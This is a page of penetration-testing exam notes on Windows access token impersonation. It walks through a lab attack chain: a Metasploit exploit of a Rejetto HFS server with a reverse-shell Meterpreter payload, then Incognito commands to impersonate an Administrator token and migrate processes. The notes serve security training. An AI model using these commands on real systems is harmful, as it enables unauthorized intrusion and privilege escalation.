👾
Rootkid - Cyber Journal
Portfolio
  • 👩‍🚀Introduction
    • 🤖About Cyber Journal & Rootkid
    • 📜License Agreement
    • ⚠️Disclaimer
  • 📚Exam Prep Notes
    • 🗒️KLCP Exam (PEN-103) - Notes
      • 1. Linux Fundamentals
      • 2. Introduction
      • 3. About Kali Linux
      • 4. Getting Started with Kali Linux
      • 5. Installing Kali Linux
      • 6. Configuring Kali Linux
      • 7. Helping Yourself and Getting Help
      • 8. Securing and Monitoring Kali Linux
      • 9. Debian Package Management
      • 10. Advanced Usage
      • 11. Kali Linux in the Enterprise
      • 12. Introduction to Security Assessments
      • 13. Conclusion: The Road Ahead
    • 📒ISO/IEC 27001:2022 Lead Auditor - Notes
      • ISO - Training - Day - 1
      • ISO - Training - Day - 2
      • ISO - Training - Day - 3
      • ISO - Training - Day - 4
      • Practice Questions - Notes
      • Other PDF References
    • 📑Junior Penetration Tester (eJPTv2) - Notes
      • 💡Assessment Methodologies
        • 🔍Information Gathering
          • 🌏Passive Information Gathering
          • 🧐Active Information Gathering
        • 👣Footprinting & Scanning
          • 🗺️Mapping a Network
          • 🎛️Port Scanning
        • 🕵️Enumeration
          • 📜SMB Enumeration
          • 📂FTP Enumeration
          • 🐚SSH Enumeration
          • 🕸️HTTP Enumeration
          • 🗄️MySQL & MSSQL Enumeration
        • 🐛Vulnerability Assessment
          • 🩸Case Study: Heartbleed Vulnerability (CVE-2014-0160)
          • 🔵Case Study: EternalBlue Vulnerability (CVE-2017-0143)
          • 👨‍💻Case Study: Log4J Vulnerability (CVE-2021-44228)
      • 🧰Assessment Methodologies: Auditing Fundamentals
      • 📶Host & Network Penetration Testing
        • 💻System/Host Based Attacks
          • 🪟Overview Of Windows Vulnerabilities
          • 💣Exploiting Windows Vulnerabilities
            • 🧨Exploiting Microsoft IIS WebDAV
            • 🧨Exploiting WebDAV With Metasploit
            • 🧨Exploiting SMB With PsExec
            • 🧨Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)
            • 🧨Exploiting RDP - Brute Force
            • 🧨Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)
            • 🧨Exploiting WinRM
          • 📈Windows Privilege Escalation
            • 🔥Windows Kernel Exploits
            • 🔥Bypassing UAC With UACMe
            • 🔥Access Token Impersonation
          • 🗃️Windows File System Vulnerability - Alternate Data Streams
          • 💳Windows Credential Dumping
            • 🔑Searching For Passwords In Windows Configuration Files
            • 🔑Dumping Hashes With Mimikatz
            • 🔑Pass-The-Hash Attacks
          • 💎Linux Vulnerabilities
          • 🎰Exploiting Linux Vulnerabilities
            • 🐚Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)
            • 🗄️Exploiting FTP - Linux
            • 🔐Exploiting SSH - Linux
            • 📭Exploiting SAMBA - Linux
          • ‼️Linux Privilege Escalation
            • 💥Linux Kernel Exploits
            • 💥Exploiting Misconfigured Cron Jobs
            • 💥Exploiting SUID Binaries
          • 🔐Linux Credential Dumping
        • 📶Network-Based Attacks
          • 📦Tshark & Filtering Basics
          • 🕷️Arp Poisoning
        • 💣The Metasploit Framework (MSF)
        • 💥Exploitation
          • 🖲️Vulnerability Scanning
          • ⚠️Searching For Exploits
          • 🐚Bind & Reverse Shells
          • 👾Exploitation Frameworks
          • 🪟Windows Exploitation
          • 🥌Linux Exploitation
          • ☣️AV Evasion & Obfuscation
        • 🚩Post-Exploitation
          • 🌬️Windows Local Enumeration
          • 📟Linux Local Enumeration
          • 🚜Transferring Files To Windows & Linux Targets
          • 🔼Upgrading Shells
          • 👀Windows Privilege Escalation
          • ⚒️Linux Privilege Escalation
          • 🔮Windows Persistence
          • 🧙Linux Persistence
          • 〰️Dumping & Cracking Windows Hashes (NTLM Hashes)
          • 🍘Dumping & Cracking Linux Password Hashes
          • ➿Pivoting Overview
          • 🧹Clearing Your Tracks On Windows & Linux
        • 🧑‍🔬Social Engineering Fundamentals
      • 🕸️Web Application Penetration Testing
        • ℹ️Intro to Web
        • 🎯Directory Enumeration
        • 🧰BurpSuite and ZAP-Proxy Overview
        • 🛠️Nikto, SQLMap, XSSer & Hydra Overview
      • 👽Extra Resources
        • ➕CIDR Conversion Table
        • 📦Machines or Lab Solved to Practice
    • 📓Certified in Cybersecurity - (ISC)2 - Notes
      • 📝Chapter-1 Security Controls - Notes
      • 📝Chapter-2 Incident Response, Business Continuity & Disaster Recovery - Notes
      • 📝Chapter 3: Access Control Concepts - Notes
      • 📝Chapter 4: Network Security - Notes
      • 📝Chapter 5: Security Operations - Notes
    • 📕Certified Ethical Hacker v12 - Practical - Notes
      • 👣Module 02: Footprinting and Reconnaissance
      • 🔎Module 03: Enumeration
      • Module 04: Scanning Networks
      • Module 05: Vulnerability Analysis
      • 💻Module 06: System Hacking
      • 🐛Module 07: Malware Threats
      • 🧙Module 08: Sniffing
      • 🐧Module 09: Social Engineering
      • ⚠️Module 10: Denial-of-Service
      • 🪝Module 11: Session Hijacking
      • Module 12: Evading IDS, Firewalls, and Honeypots
      • 🗄️Module 13: Hacking Web Servers
      • Module 14: Hacking Web Applications
      • 💉Module 15: SQL Injection
      • Module 16: Hacking Wireless Networks
      • Module 17: Hacking Mobile Platforms
      • Module 18: IoT and OT Hacking
      • Module 19: Cloud Computing
      • Module 20: Cryptography
      • Extra Resources
        • 📚Helpful Resources
        • 📜Cheat Sheet
  • ✍️Blogs
    • Mastering the Art of Logic Flaws: Unraveling Cyber Mysteries !!!
    • How to write a Detailed Vulnerability Report
    • Payment Gateway Bypass on Government Domain.
Powered by GitBook
On this page
  • Windows Access Tokens
  • Windows Privileges
  • The Incognito Meterpreter Module
  • Attack Flow for the Access Token Impersonation Attack
  • 1. Exploit Vulnerability
  • 2. Check System Information
  • 3. Attempt to Migrate to 64-bit Shell
  • 4. Check Privileges
  • 5. Leverage Privileges for Token Impersonation
  • 6. List Available Tokens
  • 7. Impersonate a Higher Privilege User
  • 8. Migrate to a 64-bit Shell

Was this helpful?

  1. Exam Prep Notes
  2. Junior Penetration Tester (eJPTv2) - Notes
  3. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Windows Privilege Escalation

Access Token Impersonation

Windows Access Tokens

  • Windows access tokens are a core element of the authentication process on Windows and are created and managed by the Local Security Authority Subsystem Service (LSASS).

  • A Windows access token is responsible for identifying and describing the security context of a process or thread running on a system. Simply put, an access token can be thought of as a temporary key akin to a web cookie that provides users with access to a system or network resource without having to provide credentials each time a process is started or a system resource is accessed.

  • Access tokens are generated by the winlogon.exe process every time a user authenticates successfully and includes the identity and privileges of the user account associated with the thread or process. This token is then attached to the userinit.exe process, after which all child processes started by a user will inherit a copy of the access token from their creator and will run under the privileges of the same access token.

  • Windows access tokens are categorized based on the varying security levels assigned to them. These security levels are used to determine the privileges that are assigned to a specific token.

  • An access token will typically be assigned one of the following security levels:

    • Impersonate-level tokens are created as a direct result of a non-interactive login on Windows, typically through specific system services or domain logons.

    • Delegate-level tokens are typically created through an interactive login on Windows, primarily through a traditional login or through remote access protocols such as RDP.

  • Impersonate-level tokens can be used to impersonate a token on the local system and not on any external systems that utilize the token.

  • Delegate-level tokens pose the largest threat as they can be used to impersonate tokens on any system.

Windows Privileges

  • The process of impersonating access tokens to elevate privileges on a system will primarily depend on the privileges assigned to the account that has been exploited to gain initial access as well as the impersonation or delegation tokens available..

  • The following are the privileges that are required for a successful impersonation attack:

    • SeAssignPrimaryToken: This allows a user to impersonate tokens.

    • SeCreateToken: This allows a user to create an arbitrary token with administrative privileges.

    • SeImpersonatePrivilege: This allows a user to create a process under the securitycontext of another user typically with administrative privileges.

The Incognito Meterpreter Module

  • Incognito Meterpreter Module is a built-in tool in Metasploit that was originally developed as a standalone application for token impersonation after a successful exploit.

  • The Incognito module allows you to display a list of available user tokens that can be impersonated.

  • It enables token impersonation, allowing you to assume different user identities and access elevated privileges on the compromised system.

  • This module enhances post-exploitation capabilities, enabling deeper system access and facilitating the assessment of security risks by adopting various user tokens.

Attack Flow for the Access Token Impersonation Attack

1. Exploit Vulnerability

  • Target: HTTP Rejetto web server

  • Vulnerability: Remote Code Execution (RCE)

  • Tool: Metasploit Framework

  • Module: exploit/windows/http/rejetto_hfs_exec

  • Action: Use the msfconsole to launch the exploit and gain basic access to the server.

  • Command:

    use exploit/windows/http/rejetto_hfs_exec
    set RHOSTS [Target IP]
    set PAYLOAD windows/meterpreter/reverse_tcp
    set LHOST [Your IP]
    exploit

2. Check System Information

  • Action: Once you have a Meterpreter session, run the sysinfo command to gather system details.

  • Command:

    sysinfo
  • Observation: Confirm the system is 32-bit (x86) based on the output.

  • Issue: You may encounter “Access is denied” if trying to migrate to a 64-bit shell because the current session is 32-bit.

  • Solution: Use the incognito module to bypass this restriction instead.

4. Check Privileges

  • Action: Execute the getuid command to check the current user.

  • Command:

    getuid
  • Output: Shows "LOCAL SERVICE" as the current user.

  • Next Step: Run getprivs to list available privileges.

  • Command:

    getprivs

5. Leverage Privileges for Token Impersonation

  • Privilege: SeImpersonatePrivilege is available, allowing token impersonation.

  • Action: Load the incognito module to use this privilege.

  • Command:

    load incognito

6. List Available Tokens

  • Action: Display user tokens to find a higher privilege token.

  • Command:

    list_tokens -u

7. Impersonate a Higher Privilege User

  • Action: Use the impersonate_token command to assume the identity of a higher privilege user.

  • Command:

    impersonate_token "ATTACKDEFENSE\Administrator"

8. Migrate to a 64-bit Shell

  • Action: After impersonation, migrate to a 64-bit (x64) shell.

  • Command:

    migrate [x64 Process ID]



Hacker's Mantra:Computer hackers do not need to know each other’s real names, or even live on the same continent, to steal millions in mere hours. - Robert Mueller

PreviousBypassing UAC With UACMeNextWindows File System Vulnerability - Alternate Data Streams

Last updated 10 months ago

Was this helpful?

3. Attempt to

📚
📑
📶
💻
📈
🔥
Migrate to 64-bit Shell